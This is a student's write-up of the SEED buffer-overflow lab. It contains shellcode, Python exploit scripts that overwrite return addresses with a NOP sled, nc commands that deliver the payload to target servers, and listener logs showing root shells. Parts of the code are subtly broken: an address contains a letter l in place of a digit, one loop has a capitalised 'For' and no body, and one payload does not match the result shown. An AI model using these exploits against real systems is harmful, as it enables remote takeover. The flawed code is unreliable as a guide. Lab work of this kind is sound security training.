Lab2
57119119 蔡一达

实验环境配置

```
[07/08/21]seed@VM:~$ sudo /sbin/sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
```

Task 1
结果如图所示

```
[07/08/21]seed@VM:~/.../shellcode$ ./shellcode_32.py
[07/08/21]seed@VM:~/.../shellcode$ make
gcc -m32 -z execstack -o a32.out call_shellcode.c
gcc -z execstack -o a64.out call_shellcode.c
[07/08/21]seed@VM:~/.../shellcode$ a32.out
total 60
-rw-rw-r-- 1 seed seed   160 Dec 22  2020 Makefile
-rw-rw-r-- 1 seed seed   312 Dec 22  2020 README.md
-rwxrwxr-x 1 seed seed 15740 Jul  8 06:19 a32.out
-rwxrwxr-x 1 seed seed 16888 Jul  8 06:19 a64.out
-rw-rw-r-- 1 seed seed   476 Dec 22  2020 call_shellcode.c
-rw-rw-r-- 1 seed seed   136 Jul  8 06:19 codefile_32
-rwxrwxr-x 1 seed seed  1221 Dec 22  2020 shellcode_32.py
-rwxrwxr-x 1 seed seed  1295 Dec 22  2020 shellcode_64.py
Hello 32
ftp:x:127:135:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin
sshd:x:128:65534::/run/sshd:/usr/sbin/nologin
```

```
[07/08/21]seed@VM:~/.../shellcode$ ./shellcode_64.py
[07/08/21]seed@VM:~/.../shellcode$ make
gcc -m32 -z execstack -o a32.out call_shellcode.c
gcc -z execstack -o a64.out call_shellcode.c
[07/08/21]seed@VM:~/.../shellcode$ a64.out
total 64
-rw-rw-r-- 1 seed seed   160 Dec 22  2020 Makefile
-rw-rw-r-- 1 seed seed   312 Dec 22  2020 README.md
-rwxrwxr-x 1 seed seed 15740 Jul  8 06:20 a32.out
-rwxrwxr-x 1 seed seed 16888 Jul  8 06:20 a64.out
-rw-rw-r-- 1 seed seed   476 Dec 22  2020 call_shellcode.c
-rw-rw-r-- 1 seed seed   136 Jul  8 06:19 codefile_32
-rw-rw-r-- 1 seed seed   165 Jul  8 06:19 codefile_64
-rwxrwxr-x 1 seed seed  1221 Dec 22  2020 shellcode_32.py
-rwxrwxr-x 1 seed seed  1295 Dec 22  2020 shellcode_64.py
Hello 64
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
telnetd:x:126:134::/nonexistent:/usr/sbin/nologin
ftp:x:127:135:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin
sshd:x:128:65534::/run/sshd:/usr/sbin/nologin
```

Task2

Terminal1

```
[07/09/21]seed@VM:~/.../Labsetup$ nc -lnv 9090
Listening on 0.0.0.0 9090

[07/09/21]seed@VM:~/.../Labsetup$ nc -lnv 9090
Listening on 0.0.0.0 9090
Connection received on 10.9.0.5 47024
root@0de3ff381bce:/bof#
```

Terminal2

```
[07/09/21]seed@VM:~/.../attack-code$ ./exploit_L1.py
[07/09/21]seed@VM:~/.../attack-code$ cat badfile | nc 10.9.0.5 9090
```

Terminal3

```
server-1-10.9.0.5 | Got a connection from 10.9.0.1
server-1-10.9.0.5 | Starting stack
server-1-10.9.0.5 | Input size: 517
server-1-10.9.0.5 | Frame Pointer (ebp) inside bof():  0xffffd588
server-1-10.9.0.5 | Buffer's address inside bof():     0xffffd518
```

Task3

攻击代码:

```
#!/usr/bin/python3
import sys

shellcode = (
    "\xeb\x29\x5b\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x89\x5b"
    "\x48\x8d\x4b\x0a\x89\x4b\x4c\x8d\x4b\x0d\x89\x4b\x50\x89\x43\x54"
    "\x8d\x4b\x48\x31\xd2\x31\xc0\xb0\x0b\xcd\x80\xe8\xd2\xff\xff\xff"
    "/bin/bash*"
    "-c*"
    # You can modify the following command string to run any command.
    # You can even run multiple commands. When you change the string,
    # make sure that the position of the * at the end doesn't change.
    # The code above will change the byte at this position to zero,
    # so the command string ends here.
    # You can delete/add spaces, if needed, to keep the position the same.
    # The * in this line serves as the position marker                  *
    "/bin/ls -l; echo Hello 32; /bin/tail -n 2 /etc/passwd        *"
    "AAAA"     # Placeholder for argv[0] --> "/bin/bash"
    "BBBB"     # Placeholder for argv[1] --> "-c"
    "CCCC"     # Placeholder for argv[2] --> the command string
    "DDDD"     # Placeholder for argv[3] --> NULL
).encode('latin-1')
```

```
# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))

##################################################################
# Put the shellcode somewhere in the payload
start = 360                    # Change this number
content[start:start + len(shellcode)] = shellcode

# Decide the return address value
# and put it somewhere in the payload
ret    = 0xffffdldc        # Change this number
offset =116                # Change this number

# Use 4 for 32-bit address and 8 for 64-bit address
For offset in range(0,304,4):
content[offset:offset + 4] = (ret).to_bytes(4,byteorder='little')
##################################################################

# Write the content to a file
with open('badfile', 'wb') as f:
  f.write(content)
```

攻击结果

Terminal2

```
[07/08/21]seed@VM:~/.../attack-code$ ./exploit_L2.py
[07/08/21]seed@VM:~/.../attack-code$ cat badfile | nc 10.9.0.6 9090
```

Terminal1

```
[07/09/21]seed@VM:~/.../Labsetup$ nc -lnv 9090
Listening on 0.0.0.0 9090
Connection received on 10.9.0.6 46922
root@3dd89be6e220:/bof#
```

Task4

攻击代码:

```
#!/usr/bin/python3
import sys

shellcode = (
    "\xeb\x36\x5b\x48\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x48"
    "\x89\x5b\x48\x48\x8d\x4b\x0a\x48\x89\x4b\x50\x48\x8d\x4b\x0d\x48"
    "\x89\x4b\x58\x48\x89\x43\x60\x48\x89\xdf\x48\x8d\x73\x48\x48\x31"
    "\xd2\x48\x31\xc0\xb0\x3b\x0f\x05\xe8\xc5\xff\xff\xff"
    "/bin/bash*"
```

```
    "-c*"
    # You can modify the following command string to run any command.
    # You can even run multiple commands. When you change the string,
    # make sure that the position of the * at the end doesn't change.
    # The code above will change the byte at this position to zero,
    # so the command string ends here.
    # You can delete/add spaces, if needed, to keep the position the same.
    # The * in this line serves as the position marker                *
    "/bin/ls -l; echo Hello 64; /bin/tail -n 4 /etc/passwd         *"
    "AAAAAAAA"     # Placeholder for argv[0] --> "/bin/bash"
    "BBBBBBBB"     # Placeholder for argv[1] --> "-c"
    "CCCCCCCC"     # Placeholder for argv[2] --> the command string
    "DDDDDDDD"     # Placeholder for argv[3] --> NULL
).encode('latin-1')

# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))

##################################################################
# Put the shellcode somewhere in the payload
start = 10                      # Change this number
content[start:start + len(shellcode)] = shellcode

# Decide the return address value
# and put it somewhere in the payload
ret       = 0x00007fffffffdfd0        # Change this number
offset = 216                    # Change this number

# Use 4 for 32-bit address and 8 for 64-bit address
content[offset:offset + 4] = (ret).to_bytes(4,byteorder='little')
##################################################################

# Write the content to a file
with open('badfile', 'wb') as f:
  f.write(content)
```

攻击结果：

Terminal2

```
[07/09/21]seed@VM:~/.../attack-code$ ./exploit_L3.py
[07/09/21]seed@VM:~/.../attack-code$ cat badfile | nc 10.9.0.7 9090
```

Terminal1

```
[07/09/21]seed@VM:~/.../Labsetup$ nc -lnv 9090
Listening on 0.0.0.0 9090
Connection received on 10.9.0.7 57824
root@58a19710a50c:/bof#
```